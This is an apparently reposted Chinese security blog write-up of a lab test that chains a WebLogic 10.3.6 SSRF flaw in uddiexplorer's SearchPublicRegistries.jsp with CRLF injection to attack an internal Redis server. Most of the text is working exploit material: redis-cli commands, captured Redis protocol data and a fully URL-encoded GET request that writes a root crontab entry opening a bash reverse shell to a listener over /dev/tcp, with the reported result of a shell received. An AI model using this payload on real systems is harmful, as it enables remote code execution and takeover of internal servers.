小记weblogic_ssrf入侵redis测试

admin 2022年3月15日22:17:28评论97 views字数 2537阅读8分27秒阅读模式

from: https://forum.90sec.org/forum.php?mod=viewthread&tid=9679

测试环境:
WebLogic Server 版本: 10.3.6.0
windows server r2 2008 x64
IP地址:192.168.224.135

redis版本:redis-3.0.7
Red Hat Enterprise Linux Server release 5.8
IP地址:192.168.224.137

远程监听主机IP地址:192.168.224.130
Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,这里测试利用 http协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 http可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1nn"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
redis-cli -h $1 quit

利用nc或socat监听6379端口,然后再用这个脚本攻击自身或者其他监听6379主机,并抓包得到数据流:

nc -l -vv -p 6379

nc监听的话回车换行的话,不明显:


小记weblogic_ssrf入侵redis测试
socat -v tcp-listen:6379,forktcp-connect:localhost:6379  监听:

小记weblogic_ssrf入侵redis测试

小记weblogic_ssrf入侵redis测试


最后完整的数据,$数字标识数据长度,*数字不知道标识什么:

*1r
$8r
flushallr
*3r
$3r
setr
$1r
1r
$63r     (除去反弹ip端口字符串,剩余43)
 
 
*/1 * * * * bash -i >& /dev/tcp/192.168.224.130/55555 0>&1
 
 
r
*4r
$6r
configr
$3r
setr
$3r
dirr
$16r
/var/spool/cron/r
*4r
$6r
configr
$3r
setr
$10r
dbfilenamer
$4r
rootr
*1r
$4r
saver
*1r
$4r
quitr



ssrf


/uddiexplorer/SearchPublicRegistries.jsp?operator=http://www.baidu.com:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

如何构造url请求,先看乌云峰会猪猪侠两张图片:

小记weblogic_ssrf入侵redis测试

小记weblogic_ssrf入侵redis测试


利用CRLF HTTP头注入,在完整的数据包上构造利用代码:

http://192.168.224.137:6379/test%0d%0a*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1 * * * * bash -i >%26 /dev/tcp/192.168.224.130/55555 0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a


然后请求

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.224.137:6379/test%0d%0a*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1 * * * * bash -i >%26 /dev/tcp/192.168.224.130/55555 0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.224.135:7001

测试过程如图:


启动redis服务,同时130上监听55555端口:


小记weblogic_ssrf入侵redis测试
此时计划任务为空

小记weblogic_ssrf入侵redis测试
请求利用代码发包

小记weblogic_ssrf入侵redis测试

已经接收到恶意数据,保存:

小记weblogic_ssrf入侵redis测试
已经写入计划任务

小记weblogic_ssrf入侵redis测试

130上成功反弹到shell:

小记weblogic_ssrf入侵redis测试

顺便说下,官方最新redis测试没有成功,貌似未授权补了。当然了,利用还有很多,欢迎大家探讨。


参考:https://blog.chaitin.com/gopher-attack-surfaces/
参考:http://fuzz.wuyun.org/src/build_your_ssrf_exp_autowork.pdf

本文始发于微信公众号(关注安全技术):小记weblogic_ssrf入侵redis测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月15日22:17:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小记weblogic_ssrf入侵redis测试http://cn-sec.com/archives/502224.html

发表评论

匿名网友 填写信息